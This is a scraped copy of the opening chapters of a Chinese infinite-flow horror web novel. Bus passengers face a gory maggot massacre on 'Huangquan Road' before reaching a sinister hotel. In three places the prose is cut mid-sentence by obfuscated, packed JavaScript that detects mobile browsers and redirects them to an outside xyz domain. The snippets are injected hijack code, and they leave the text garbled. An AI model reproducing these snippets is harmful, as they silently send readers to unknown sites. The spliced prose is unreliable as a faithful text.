《我们老弱病残杀穿副本[无限]》 1. 黄泉路站到了 “叮铃铃——黄泉路站到了,请要下车的乘客携带好自己的随身物品,有序下车。”电子女声回荡在坐满人的车厢内。 一辆公交车停在所谓的“黄泉路”上,一时之间众说纷纭。 “这是综艺还是恶作剧?”“我不会已经死了吧?”“这一定是梦,一定是梦……”哭泣声,抱怨声,怒骂声环绕在车厢之间,搅得人脑子全是浆糊。 白知之扯了扯嘴角,看向自己身上穿的嫩黄色格子睡衣,无奈吐槽,人倒霉到了极致,公交车也能停到家门口。 她环视一圈车厢,没什么异常。那么车外…… 车外一片漆黑,像是一个黑洞,吸收了公交车散发出的所有光亮。 白知之正准备扭头,余光瞥见一抹光亮。不对,路边上一盏路灯散发微黄的光亮。 她微皱眉头,按理说黑暗中的亮光非常显眼,应该第一时间就可以注意到,可是她的大脑下意识忽略了这抹光,一点外面全是黑暗的意识猛烈干扰她的感观。 靠近窗户,白知之的眼球几乎要与玻璃挨上,她眯起眼睛,努力看清被路灯照亮的周围。越来越模糊,她越想看清,她视野中的光亮越微弱。 指甲陷进手心,白知之握紧手,疼痛刺激她的神经,眼前清晰了一瞬,而后迅速昏暗下来,像是一扇氲绕雾气的玻璃,擦干净后雾气马上填补空缺。 但在眨眼间,白知之看清楚了她想看到的一切。路灯下的东西是一块有四个模糊字块的路牌,以及一个人? 说人可能不太准确,那东西只有人的形状,看起来像人,但是五官,头发,手指什么的都是模糊不清的,或者说没有。黑色人形的外轮廓是非常标准的人,没有穿衣服的人,拿一个现实世界的物品比拟,黑色人形非常接近于服装店的模特模型,不过是黑色。 忽地,白知之无由打了个冷颤。 她看向车厢顶,没有空调,怎么凉嗖嗖的。 “要不要下车啊?”一个弱弱的女声穿透纷杂的声音,钻进每个人的耳朵。 到处检查有无摄像头的人停住动作,悲伤自己英年早逝的人不再哭泣,试图拍醒自己的人放下手,所有人的目光汇集在开口说话的女生身上。 众人的目光把女生本就埋低的脑袋压得更低了。 寻求答案很简单,下车就是了,可没人会为了一个答案亲自踏上黄泉路找晦气,更何况,看现在的架势,是生是死都是个未知的定数。 女生的年龄不大,穿着一件棕色lo裙,埋着头看不见脸上的妆,但精心卷过的头发可以看出来她本应拥有美好的一天,现在全被这辆凭空而来的公交车破坏了。从上车以来压抑的情绪在所有人的注视下爆发,她哽咽出声:“我本来应该在去漫展的路上,怎么上了一辆公交车就变成这个样子了……” 她身边一个阿姨一脸心疼地拍她的背,安慰她,“不哭不哭,总能够回家的。” 提到“回家”二字,众人的呼吸重了一瞬。 要回家,可怎么回家? 有不下车就回家的方法吗? 白知之抬起头看向车头的驾驶室。 能够驾驶一辆恐怖公交车的人,不会是像他们一样的愣头青。 “老子可没时间陪你们搞什么鬼把戏了!”一个胖男人猛地站起,三步化作两步拉开驾驶室的门,提起司机的衣领,话语中蕴含汹涌的怒气,“带!我!回!去!”每个字力量感十足。 两人身高相差二十多厘米,司机的双脚悬空,手直直地垂在腿侧,眼神呆滞,一眨不眨地回视胖男人爬满红血丝的眼睛,无疑是赤裸裸的挑衅。 胖男人额头青筋爆起,牙关间“咯吱”声与他拳头的“咯吱”声重叠,产生奇妙诡异的律动。 “我不想再说第三遍,带我回去!”胖男人说出最后一个字时,嘴里干瘪的唾沫喷到司机的脸上,一股热气冲出,带走了他最后的耐心。 司机像是一个木偶,胖男人怎么动他就怎么动。不,准确地说是一个充满恶意的对手,不停模仿敌方的动作挑衅。 若胖男人没有被怒火冲昏头脑,他便可以发现,从始至终,他手背紧贴的脖颈完全没有脉搏的跳动。 “那你,去死吧!”胖男人猛砸一拳,拳头速度极快,力量极大,周围空气陡然流动,坐得近的女孩的裙摆微微撩动。 一拳下去,司机的脸没有任何损伤,他牵起一抹笑,眼神毫无笑意,机械地盯着胖男人。 非人的举动激得胖男人头皮发麻,手不受控制地一拳一拳砸下去,司机的嘴角一点一点的向上提,终是司机挂着嘴角与太阳穴齐平的笑,胖男人的手指血肉模糊之时,一场单方面的伤害才停止。 胖男人脸上的血气抽没了,他甩手一丢,司机重重落在地面上,身体向上反复弹了几下,他的眼神依旧死死缝在胖男人身上。 “哈——”,是司机发出的声音。 众人心一紧,胖男人重心不稳,向后踉跄几步。 “哈——哈——哈——哈——哈哈……”司机没有张嘴,机械,重复的笑声有停顿地从他的头部发出,咻地,他黝黑的瞳仁闪出一道亮光。白知之顺着看过去,胖男人不知何时瘫倒在地,只靠双手撑扶上半身,不停往后扭走,下身拖带一道水渍。 前排被司机吓傻的人儿终于有了反应,手忙脚乱地往车厢中部聚集。 众人平稳呼吸,观摩了一会,发现司机除了会笑之外并没其他的举动,更不用说危险了。 不过亲身与司机面对面的胖男人不一样,他嘴里一边嚷嚷:“妈妈,我要找妈妈!”一边不分手脚地往车外爬。 在他脱离公交车的一瞬,众人屏住呼吸,揪紧自己的心脏,或许下一刻,所有问题的答案,每个人的生死都有了着落。 “哈——哈——”时间在司机的笑声中一点点过去,车外依旧没有动静。 车厢后面的出口站着几个人,其中一个双手抱胸,不停地抖腿,随后往外啐了口唾沫,胆大地探出头,没出事,于是怂恿:“外面就是回家的路,说不定现在那个人已经回家了。” 没有动静才是最可怕的,福祸不知,生死不知。现在必须再下去一个才能辨别黄泉路的真假。 车外一片死寂,车内的乘客你望我,我看你,没人敢动。 白知之扭头,眼神落在原先看到光亮的方向。她这次咬破自己的舌尖,换取眨眼间的清明。 路灯,站牌,黑色人形,没有变化……不,好似一种精神感应,在白知之眼里黑色人形是没有五官的,可她能够明确感受到它在笑,嘴角与太阳穴齐平,就像是倒在车头还在大笑的司机。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085698|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你说他是死是活?”一种分辨不了男女老少的模糊音色,声音来自后座。 白知之回头望向说话的人。 是个男人,五官端正,但表情不经意间透露股肃杀之气。 男人见白知之一脸警惕,于是主动介绍自己,“我叫吴长风,口天吴,长风万里送秋雁的长风。”他满面笑容,眼睛亮晶晶的,充满真诚,与他身上的时刻拔刀杀人的气质截然相反。 “白知之。”白知之看了吴长风几眼,掐了自己大腿一把,确定吴长风身上给予她的熟悉感不是大脑的蒙蔽,放心扭头借着刚刚的手劲更加用力掐了一下,这一次,黑色人形消失了。 “他死我活。”白知之眼里满是笃定。 他死掉,换我活着。 吴长风弯唇浅笑,默默注视白知之的一举一动。 前头,一道黑影覆盖了司机僵硬的面庞。是胖男人,他回来了。 只见他背着身走,身形随着走路姿势一上一下。 腿受伤了? 眼神往下移,是反向突出的膝盖和扭过一百八十度对着车厢内乘客的脚尖。 胖男人一步一步深入车厢,车厢前部的人已经走空了,车厢中部人头攒动,有几个人往后面本就狭窄的空间挤。白知之的腿往里收了些,被挤来的人碰到。 胖男人跨过倒在车厢前头的司机,距离他三四步的距离停下。 “咯咯——”骨头声响,胖男人的脖颈像是扭毛巾,皮肉层层叠叠扭出纹路,而他的头也转了一百八十度,一双充满惊恐的眼睛对着所有乘客,嘴里唧唧哝哝地说:“救我……” 话毕,他张大嘴,大到可以轻易看清他的喉管。 他的喉管很粗,里面白茫茫一片,是汹涌翻滚地白色虫子。 胖男人弯腰不停干哕,一只虫子,两只虫子从他的嘴里掉落。 “那是什么!”站在最前头的人忽然惊叫,用手指着胖男人的头。 只见他薄薄一层头皮厚度不一的鼓起,下面好似有什么在蠕动。下一秒,一只白色的虫子从头皮钻出,只不过尾部依旧困在头皮,身体在空中挣扎扭动。一只一只又一只,眨眼间,胖男人满头“白发”,某种意义上也算是一夜白头了。 忽地,胖男人不再干呕,他抬起头,嘴边挂着一只奋力挣脱的虫子,佝偻腰,双目无神地看着乘客们,笑了。 拥挤的人群中,最前头站着的是一个清秀模样穿着校服的男学生,他放松地长舒一口气,绷硬的肌肉得到了放松,他眨眼湿润干涩的眼珠,闭眼,睁眼,胖男人不见了,他的身上一片滚烫。他抬起手看,是正在流淌的血液和蠕动的蛆虫。 胖男人炸开了。 男学生一脸茫然地转过身,他身边的人早已往后一挤再挤,车厢后部没了缝隙,他的身边如清仓甩卖的货柜,空空如也。 他全身血白交杂,蠕动的蛆虫几乎要将他吞没。还有一些喷溅在地板,车窗以及天花板上的蛆虫扭动自己的身躯往他的身上汇聚。他想要用手擦拭眼皮上的秽物,可当他抬起手,看见的是五根白骨以及爬满手臂的蛆虫。 “啊——”第一声尖叫从他的嘴里发射,但这也是他的遗言。下一秒,蛆虫便填满他的口腔,深入他的身体。短短十几秒,一个活生生的人消失了,骨渣也不剩下。 2. 黄泉路站到了 吃净胖男人和男学生的蛆虫仍然得不到满足,一瞬间,白知之好似看到它们齐齐转向乘客们的头以及冒着绿光的眼睛。 白知之指甲陷入自己的掌心,下车是一条死路,在车上也是一条死路。 她眼睛转了一圈,最后目光落在车头司机完整的没有受到啃咬的身体。或许车头才是破局之法? 可是到车头必须穿过车厢中间对人肉虎视眈眈的蛆虫…… 从公交车后门下去再从前门进来! 站牌底下的黑色人形已经消失不见了,相比于在吃人的虫堆里走一趟,这才是唯一的生机。 白知之推开挤占她的空间而把一半身体压在她身上的人,准备站起,脚下一软,脸差点磕到前座的椅背上,幸好吴长风及时抓住她的手腕。 “小心。”吴长风弯唇浅笑,温声温语道。 白知之礼貌道谢,心却给此人抹上了极重的诡谲色彩。 她在吴长风身上感受到熟悉的气息不假,但她可以拿自己一辈子的财运发誓,自己绝对不认识他,而且这人身上杀伐气浓重,可言语间透露出的气质却很儒雅,礼貌至极。两种极其割裂的气质同时存在于一人之身,好似屠夫与绅士,两个不可能有任何交集的人聚在一起聊天,一个说今天杀了多少猪,另一个谈自己的品茶心得。 和这种人交往,你不会知道自己是他屠刀下的小猪还是共舞的对象。要离他远一点,白知之暗下结论。 白知之用力踩了踩地,这才是眼下最要紧的事。她适才摔倒不是因为吓软了腿,而是地板的缘故。这辆诡谲的公交车的地板也相当诡谲,竟然是软的,细细感受,软中带韧,像是…… 她余光瞥见一层叠着一层宛若海浪般行进的蛆虫潮,心里有了答案,地板下是某种肌肉组织无疑了。 这就是破局的关键! 白知之左右看了一眼,车厢前中后部的窗玻璃上都分别设有一个救生铁锤。在车尾,离她最近也是最安全的一把就摆在她前座的车玻璃上。 她紧绷如弦的脊背在手指接触到救生铁锤冰冷的把手时松下去许多,可下一秒,白知之笑出了声。 她看了看自己空空如也的手心以及拿走救生铁锤的吴长风的背影,是被气笑的。 虽然吴长风套的一件卡其色风衣,拨开人群的爬满青色血管的手以及踏出去的一双长腿都装在白知之的爽点上,但白知之还是暗骂一句:“死装货。” 不过一眨眼一闭眼,白知之便收回了自己先前的不敬,瞪圆眼睛看前方的吴长风与蛆虫的对抗,不,应该算是碾压。 在吴长风走出人群的那一刻,蛆虫便慢慢停止前进,更可怕地是竟还有后退的趋势。 但食欲打败了恐惧,口腹控制了它们本就不存在的大脑。蛆虫很快恢复了动作,距离吴长风三步距离之时,他屈膝微微下蹲,接着长臂一挥,风衣下摆无风上扬飘起,露出被黑色西装裤包裹的线条流畅的双腿,但更好看的是他握着救生铁锤的爆出青筋的手,同时不可忽略的,只一下,铁制的地板出现了一个一拳宽的大洞。 “哕……”是此起彼伏的呕吐声。 白知之捂住鼻子,眼睛泛出些许眼泪的反应在当中还算是小了。 可偏偏离洞口最近的吴长风一丝反应都没有,平静地丢掉手里的救生铁锤,转身找了一个车厢中后部的座位坐下。 白知之和自己较起劲来,忍住熏天的腐臭,双手交叠背在身后,停止腰杆,眼神望向远处,装作适然于世的出世感。 地板夹层中是什么已经不用眼睛看就能够知道了。整个公交车车厢下面塞满了腐肉,具体是动物的还是人的就不得而知了。 蛆虫本就是食腐动物,见到喜爱的腐肉连满车厢的活人都顾不上,一圈一圈地往洞里钻。太多的虫子涌进,洞口锋利粗糙的边沿直接腰斩了最外围的虫子,但虫多力气大,不一会儿,洞口已经撑到一个人脑袋那么大了。 眨眼间,车厢上面已经看不见蛆虫的影子,脚底下软趴趴,酥酥麻麻的动感昭示它们并未离去。 “叮铃铃——”又是一道电子铃声想起,前后车门一并合上,耳边传来公交车引擎发动的声音。往前看,倒在车头的司机早已消失,驾驶室的门也已合上。 “车辆起步,请站好扶稳,下一站终点站,终点酒店。” 最后一站?这辆诡异公交车只经过两站?不,应该是三站,每个乘客上车点,黄泉路站和最后的终点酒店站,这样看,它的目的很明显,是要将人送到终点酒店,黄泉路站用来筛人。 一阵风来,掩盖诡异世界的雾淡了些。 所有人都长舒一口气,放松了身体和精神。 可是危险从未远去。 白知之没有坐回自己的座位上。她将全身的重心放在右腿上,细细感受地板下蛆虫的活动。 从外人看来,白知之斜腿弯的站着,一副劫后余生的放松样。细看,她额头的汗珠穿过拧在眉心的眉头,滚进眼睛,仍毫无反应,刺痛已经拉不走她的心神了。 她两只用力不同的脚可以清楚感知到,车尾地板下的蛆虫的数量开始膨胀,她所站地面的高度慢慢上升,隐隐有倾斜之势。 白知之瞥过吴长风平静的背影,暗暗心惊,这人在砸洞,不,可能更早就知道了。 公交车通过了黄泉路站,但还在黄泉路上行驶。 此时,车厢不经意间分为两部分,一部分是在车尾处为自己大难不死的幸运庆幸,另一部分是坐在车厢中部的吴长风与白知之,她们两个坐在前后排,只隔一个椅背。吴长风直着背坐,但莫名透露些懒散气息,白知之手臂搭在吴长风的椅背上,眉飞色舞道:“帅哥,你这么厉害,我也聪明,不如我们强强联手,勇闯终点酒店。” 吴长风转过头,他眼中含笑,伸出自己的手:“好呀,合作愉快。” 吴长风答应得太快超出白知之的意料,在她的预想中两人会拉扯几句,甚至她可能还要多拍上几句马屁,还只能争取做他小弟的资格。轻而易举得到手的东西要么是麻烦,要么就是烂货。 这会白知之迟疑了一瞬,但在这辆车上,聪明人不多,算上她自己只有两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085699|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 另一边,车厢尾部的地板倾斜,从后到前,从低到高,只白知之和吴长风说句话的功夫,已经有四十五度了。适才还谢天谢地的乘客现在又陷入恐惧与危险之中。 受到惯性和重力影响,站在最末端的乘客身体不自主地压在前面一排的乘客上,一排叠着一排,除了最后面的乘客没人动弹得了。有些压在下层,承受更多重量的乘客脸色乌青,奋力向前挣扎却挣脱不了同伴的桎梏,只能空余消耗自己肺里为数不多的氧气。 “快走,最后的快走!”低下的人在呐喊。 最后一排的乘客在惊恐中找回思绪,踩着同伴的身体往车头汇集。 一排人接着一排人,竟有些乱中有序的味道。 眨眼间,一行人已经陆续从车尾撤退到车头,余留下两个被活生生压死的倒霉鬼。 在食欲这方面,蛆虫像是长了脑子一般,知道乘客们都往车头聚集,于是便从先前的洞里钻出来,再一次上演瓮中捉鳖。 尖叫,哭喊,哀嚎,嘶吼以及死寂一般的沉默在同一场景上演。 大量的血肉模糊的窗户,下一秒,雪白的蛆虫身体便覆盖在上面,连乘客最后一丝血一块碎肉都不放过,而后白花花的肉虫身上又会被新一轮的血液覆盖。 绝望之中,有人看到坐在位置上谈笑风生的白知之和吴长风,心里想的不是可以去那躲避,而是生出嫉妒的恨,甚至不惜以自己的身体为引将蛆虫的屠杀吸引到她们那,可惜只迈出一步便被蛆虫食干骨髓血液。 这是一场单方面的屠杀,在小小的蛆虫面前,乘客们竟毫无还手之力,眼睁睁看着自己的血肉一点点消失,成为一条蛆的腹中物。 “咯吱——”公交车从被砸出的洞口开始分裂。 这是属于白知之与吴长风两人的先见之明。地板倾斜,乘客便会聚集在车头,此刻全部蛆虫出来,地板没有了夹层填充物的支撑,变得脆弱不堪。那时,公交车成了一块干脆的威化饼干,哪一边稍微用点力气,公交车都会裂开。 “合作愉快。”白知之握礼节性轻握吴长风的指尖,一触即分,他指腹覆盖的一层厚茧令白知之心头一跳。看着细皮嫩肉的人儿却有如此老道的茧子,处处充满反差。白知之原先对吴长风抢她风头这件事的不满已消散大半,毕竟眼前这个人极有可能是个练家子。 她刚松一口气,抬眼,瞳孔收缩。 是一个只剩半边身体的人和一层叠着一层虫浪,他们都想跨过公交车裂痕,只不过一个想要活命,一群想要加餐。 公交车裂开的速度比所有人想象地都要快,他们的身体在半空中时,公交车已经完全碎成两半,而后半部分因为失去动力,与前半部分车体分开的距离越来越大。 眼看他们都上不来了,但其中一只蛆虫可能吃多了人肉,开了智,以同伴的身体为踏板,拼命往后面这截车厢奔,眼看就要成功,谁知吴长风抬起手,手指微动,隔空将那只蛆虫直直拍到车头的车玻璃上,变作了血红肉泥。 最终,蛆虫和愚蠢的乘客都葬身于黄泉路上。 3. 终点酒店1 白知之看着那只蛆虫的遗体,由衷地对吴长风喊了一声:“老大!” 吴长风饶有兴趣地抬起眼看她,“不是合作吗?” 白知之笑着打哈哈,“开玩笑,开玩笑,我怎么能和老大相提并论呢。” 这时,白知之才见识到吴长风一部分的实力,也明白并不只有这个诡异的世界可怕,身边的人也不得不防。 “是吗?”吴长风用手掩住自己压不住的唇角,“你难道没骂过我装货?” 白知之汗毛耸立,背后冷汗欻欻往下流,面上还是一副谄媚模样,“老大是天,老大是地,我一直忠心耿耿地想要追随您特别是您在砸下那个洞的时候。我所有的努力都是为了您……不,我根本没有努力什么,都是老大您在出力啊。您威风凛凛,玉树临风,迷得小女子不要不要的。”奉承人的胡话张嘴就来,这可能也是一种不可多得的天赋吧。 但这远不及吴长风表现出来的能力,隔空控物,不会还有读心术吧?白知之不敢多想,万一吴长风真的有读心术恐怕生出嫌隙。 这条大腿,白知之抱定了。 仅剩一半的公交车靠着两个轮子和为数不多的动力“吭哧吭哧”卖力地前进。 “叮铃铃——”公交车上的铃声再次响起,简直恍如隔世。 “终点站到了,祝各位乘客一帆风顺,下次也一定要选择乘坐我们的公车出行。”机械女声出现,车身猛地停住,失去行驶动力的车尾往前倾,裂痕处猛地撞击地面,发出刺耳的刺啦声。 白知之的身体受惯性往前冲,幸好前面还有一排座位,只是撞到了前座椅背,没有脸着地。 吴长风稳稳当当地坐在座位上,白知之一脸艳羡。这不是装货,这就是bking!她偷偷瞥了一眼吴长风,见他没反应,撇下嘴。 公交车停在一片平地上,平地的最外围有一圈路灯,隐隐照亮整片地。 白知之这才发现,除了他们这辆车外,还停有其他四辆车。 其中有两辆下来的是一个人,分别是一个穿着红色蓬蓬裙的小女孩和一个看起来精神不太正常的男人。 男人注意到白知之的目光,摁下打火机,将手里一直不停蠕动摆尾的蛆虫放在蓝色的火焰上烤,接着丢进嘴里,嚼得那叫一个肉香四溢,汁水横流,不知道的以为他在享用什么五星级大餐,吃完,还叹了口气,“这小虫子要是能生吃就好了。”话毕,好似陷入回忆,“能在嘴里蠕动,一口咬下去爆浆的口感……” “温乙洲,不要恶心新人。”陈芸说,是另一辆公交车一起下来的五个人中其中一个。 温乙洲歪过头去,嘴角扯出歪斜的角度。 “芸姐和你说话呢!”陈芸一旁留着一头板寸的男生就要冲上去找回面子,这是刘辰,意气用事。 “刘辰,副本还没开始,别节外生枝。”把刘辰劝下来的是一个戴金丝眼镜的男人——李文轩,他貌似是这群人里的主心骨。 “下到一个副本就是缘分,是不是,温兄弟。”说话的是李逵,又高又壮,手臂的肌肉比白知之大腿还要粗。 在四个人的身后,站着一个看起来只有十一二岁的小男孩,戴一副黑色的圆框眼镜,显得可爱乖巧,透过镜片下的眼神却冰冷无比。 “老大,这个世界没年龄限制,还招童工啊?”白知之发出疑问,一个小孩就算了,可能是误闯,也不包括是神童,天生胆子大,聪明或者有很高超的能力但两个就不太正常了。 “不要小看他们。”吴长风没有正面回答她的问题,但包含的内容也很丰富。 白知之环视一圈,一共停了五辆车,她的目光落在没有人出来的那辆车上,这辆车是在场中外形最为完整的一辆,看来没有人想出破局之法。 “在这里死掉的人还能回到现实世界吗?”一个结压在白知之的胸膛上,很不舒服。 吴长风看了她一眼,顶着白知之不满的眼神摸了摸她的发顶,“不会了。” “那可真是一群愚蠢的倒霉鬼。”白知之努嘴。 “只是一场游戏而已,早死晚死都得死。” “你也会死吗?” 吴长风笑出了声,“当然会,你也会。” 白知之坚定地摇头,“不,我不会。”而后想到什么,鼓起一个灿烂的笑,“老大你肯定也不会。” 吴长风没有说话,眼眶却在不经意间红了。 远处,在平地的尽头冒出巨大的光亮。 是终点酒店! 外表上看中规中矩,很像中世纪欧洲庄园的建筑风格,但它的外墙镶嵌一圈亮灯,让它的风格更加接近近代。整座建筑很规整,一眼看过去,是一个巨大的长方体。酒店房间都是落地窗,从外看,像是划成一个长方形。直线交叉直线,看起来压抑极了。 “啊秋——”白知之打了一个喷嚏,鼻腔酸爽,眼前蒙了一层生理性泪水,再抬起头,白知之下意识拉住了吴长风的衣袖。 她的眼里,在酒店那么多扇,数也数不清的落地窗前,都是黑色人形,朝着她笑,嘴角咧到太阳穴的黑色人影。 “怎么了?”吴长风停下往前走的步子,回头看定在原地的白知之。 “场景有些震撼而已。”白知之没有犹豫,这是一个建立信任的好机会,“老大,窗前都是……” 吴长风打断她:“习惯就好,以后胆子大一点。” 他一直都知道黑色人形的事。可是……白知之必须要刺激自己的神经,产生一定的痛觉才能看到,吴长风不像是会自虐的人…… “老大,有时候我真的想追随你一辈子。”白知之由衷感叹,这可是一条粗得不能再粗的大腿,在她目前看来。 “那我去死你也会跟着一起吗?”吴长风双眼弯弯,语气上扬,心情很好的样子。 白知之移开眼神,打趣混过去:“就是我死了您也不会死啊。”说违心话好难。 “呵。”一听就是假话。 有了共同的目标后,所有人聚在一起往终点酒店走。 中间避免不了自我介绍的环节。作为一名新人,白知之应当最先向众人表明自己的身份,获取老玩家的好感,争取在接下来的游戏中能够得到一些庇佑。白知之没有,她现在有了吴长风,没必要冒着让他抵触的风险去抓取那些虚无缥缈的护盾。 “真是倒霉,和这么一个新人分到一起,我们五人生还小队的副本生还率都被拉低了。”刘辰双手抱胸,翻了个冲天的大白眼。 白知之猛地咬住下嘴唇,眼睛鼻子眉毛皱成一团,肩膀微微颤抖,这个团名实在太好笑了,谐音梗扣钱,反向谐音梗扣冥币吗?终是憋不住,两声“咯咯”泄了气,惹得刘辰回头瞪眼,又要说些什么。白知之为了收场,赶忙假装咳嗽两声,将前边的笑声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085700|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩盖了去。 “我叫无常,还请大家多多照顾。”白知之找了一个自己常用的网名打算糊弄过去。 吴长风瞳孔一缩。 “呵,现在是什么糊咖都上来凑了。无常是谁你听过吗,你就是,小心你怎么死的都不知道。”刘辰专门转身走到白知之面前说,嘴臭人也丑恶。 “好了刘辰。新人第一次下本不懂规矩,你还不懂吗?”李文轩等到刘辰把话说完出来制止,又眯起眼笑实则大量白知之身前的吴长风,“他做人毛躁,见谅见谅。” 而后,陈芸特意慢下脚步,与白知之肩并肩行走,低声说:“最好不要在这个世界提起这个名字,会招来不幸。” 吴长风脚步一顿,忽地开口,“无常向来行踪不定,也没人见过ta的真实样貌,更不知年龄,性别。”他压低声音,继续说:“说不定,就在我们中间……”尾音刻意拉长,微微颤动,营造恐怖气氛,最后说这句话时,专门靠近刘辰,吓得刘辰胡言乱语自我安慰了好几句。 “老大,我爱死你了。”白知之小声对吴长风说,眼睛笑眯眯的,全是对自己老大戏弄刘辰,也算是为自己撑腰的举动洋洋自得。 吴长风一秒收回表情,语气平淡:“谢谢无常吧。” “啊?” 下一秒,吴长风弯下腰,努起一个假模假式的微笑:“其实我就是无常。”随后拍拍自己风衣袖子上并不存在的灰尘,大步朝着终点酒店的方向前进。 “谢谢老大?”这句话随着吴长风大步流星的步伐飘向远方。 白知之呆愣在原地,惊叹于吴长风的变脸速度,更叹于他的装。 “唉。”一瞬间,白知之认为自己的前途一片混乱。 白知之慢了一两步,就被众人甩了老远,自己成了那个吊车尾的。 终究是大学生活滋养了□□,白知之走快点都上气不接下气,要停一两秒。 正当她叉着腰大喘气时,眼前出现一个身影,她第一反应是吴长风,毕竟在这个副本中她就认识这一个人。可怎么看怎么不像。 “姐姐很累吗?牙牙牵着你的手走就不累了哦。”是独身下车的小女孩。她身穿红色蓬蓬裙,头顶羊毛长卷发,脚踩发亮的黑色小皮鞋,配了一双白色过膝蕾丝边丝袜,精致极了,要是白知之现实世界中遇见,一定会向身边人夸赞她有多么可爱,简直像是橱柜里摆放的洋娃娃。但如今可是在随时会死人的恐怖世界啊。 她身上若有若无的血腥气飘进白知之的鼻腔中,警示她眼前的女孩不是等闲之辈,更不是好心之人。 能一个人从诡异公交车下来,连白色过膝袜上一点血没沾上,甚至发型没乱分毫的,简直是魔女级别了。 这个世界的小孩一个能顶两个成年人了。 白知之立马直起腰,摆手道:“不用了,姐姐我有得是自己走的力气。”她没把话说得太慢,怕牙牙借此赖上自己。 有了潜在威胁后,白知之走路都快了些,也不大喘气了。 牙牙在她身后提着裙子几乎是小步跑,说:“姐姐不等等牙牙吗?” 白知之正色道:“小朋友,姐姐提前带你积累社会经验,社会上,可没有一个人会等你,除非你是老板。”嘴里说是教,其实眼神完全没往牙牙身上看,一脸坚定地大步走进大部队。 身后,牙牙的甜美笑容渐渐沉了下来。 4. 终点酒店2 白知之紧赶慢赶也落后了大部队一两步。 “呦,真是让我们好等。您老身子骨这样怎么过得公交车那关的。”刘辰边说边用自己的眼珠上下打量白知之。 “辛苦各位了。”白知之不屑于占口头上的便宜,何况牙牙也才赶到不久,这种人就是捡软柿子捏,她有很多方法让刘辰见识软柿子捏爆之后糊他一手的恶心感。 李文轩作为五人生还团队的队长,自然而然地开始领导众人,“人都到齐了,就……” 显然,不是每个人都能像他的队员一样听他的话,温乙洲看都没看他一眼,直接走进终点酒店的大门。 李逵见情况不对,急忙来圆场子,“大家肯定都站累了吧,赶紧进去休息吧。”还不如不圆。 刘辰对温乙洲不满,但又不敢直接和他撕破脸皮,只好在进门路过李逵时,对他哼声气。 “只知道拿自己人出气,怂包。”白知之在最后面小声嘟囔。 站在前头的吴长风听见,打趣道:“他还会拿你出气呢,不算窝囊。” 白知之最后一个进去,她也只敢在吴长风走远后在心里默默吐槽几句。 唉,这年头能力强的人说话才能硬挺。 白知之无奈摇摇头,背过手走进终点酒店。 终点酒店与它堂皇明亮的外表大相径庭,酒店大堂黑漆漆的,一瞬间,她以为自己回到了那条黄泉路上。 “滋滋。”什么东西被点燃,一团火光冒出来伴随着一股难以言说的油脂味。 “欢迎各位光临终点酒店,我这座酒店的管家,各位可以叫我R。”是R,他拿着一支白色蜡烛出现在所有人的中心。 他环视一圈,眼神落在白知之身上,“您好,这是您的手机,请收好,损坏遗失后果自负。”话毕,一只戴着白手套的手递上一只外表与现实世界中别无二异的手机。 白知之先是看了一眼吴长风,他没反应,又细细瞥了一圈五人生还小队,发现刘辰的裤子口袋露出了金属的一角,才放心接过手机。 在无人能够看清的阴影里,吴长风的嘴角已经翘起近乎九十度的角度。 “时候不早了,由我带各位回房间休息吧。”R走在最前头引路。 烛火能够照亮的区域有限,白知之只能凭自己的耳朵感知,酒店大厅非常大,给她一种还在刚才公交车停下的平地上。 大概过去了两分钟,R停下,他手持的烛火照亮了一块脱落些许墙皮,露出星星点点水泥的发黄的墙面。和终点酒店的外观对比,简直是买家秀和卖家秀的差别,把顾客骗进来宰吗? 白知之还没在心里吐槽完,只见R面前那块墙皮融化了。以烛火为中心,从一个一指宽的小洞渐渐扩宽成可供一人通过的长方形,是一扇门。 门内依旧是一片昏暗,唯一的光亮在R手中。 他最后进来,门瞬间合拢。 “现在带各位乘客前往十八层。”几乎是话落的瞬间,原先看起来虚弱无比一口气就可以吹灭的烛火火焰高涨,扑到了面前的那堵墙上,烧出了三个血红的字“十八层”。 眨眼间,墙融火弱。 “房间各位可自行挑选。另外,夜晚请不要待在走廊不回房间,以免影响其他顾客休息。”很有指向性的一句话。 “请。”R摆出一个请的手势,他所指的方向正是黑乎乎的走廊。 李文轩习惯打头,这次也是他率先踏出去,却被刘辰的话止住了动作。 他说:“要是现在能有一个手电筒照亮这里就好了。” 白知之靠墙默默看刘辰给她下套。 刘辰还以为自己的计谋天衣无缝,装作突然想到的模样,以拳砸向手掌,“诶!手机里不就有个手电筒的功能吗?” 李文轩以为他有什么新发现特意留下来听完,结果……他看了一眼白知之,又看向刘辰,恨铁不成钢的叹了口气后往走廊走。 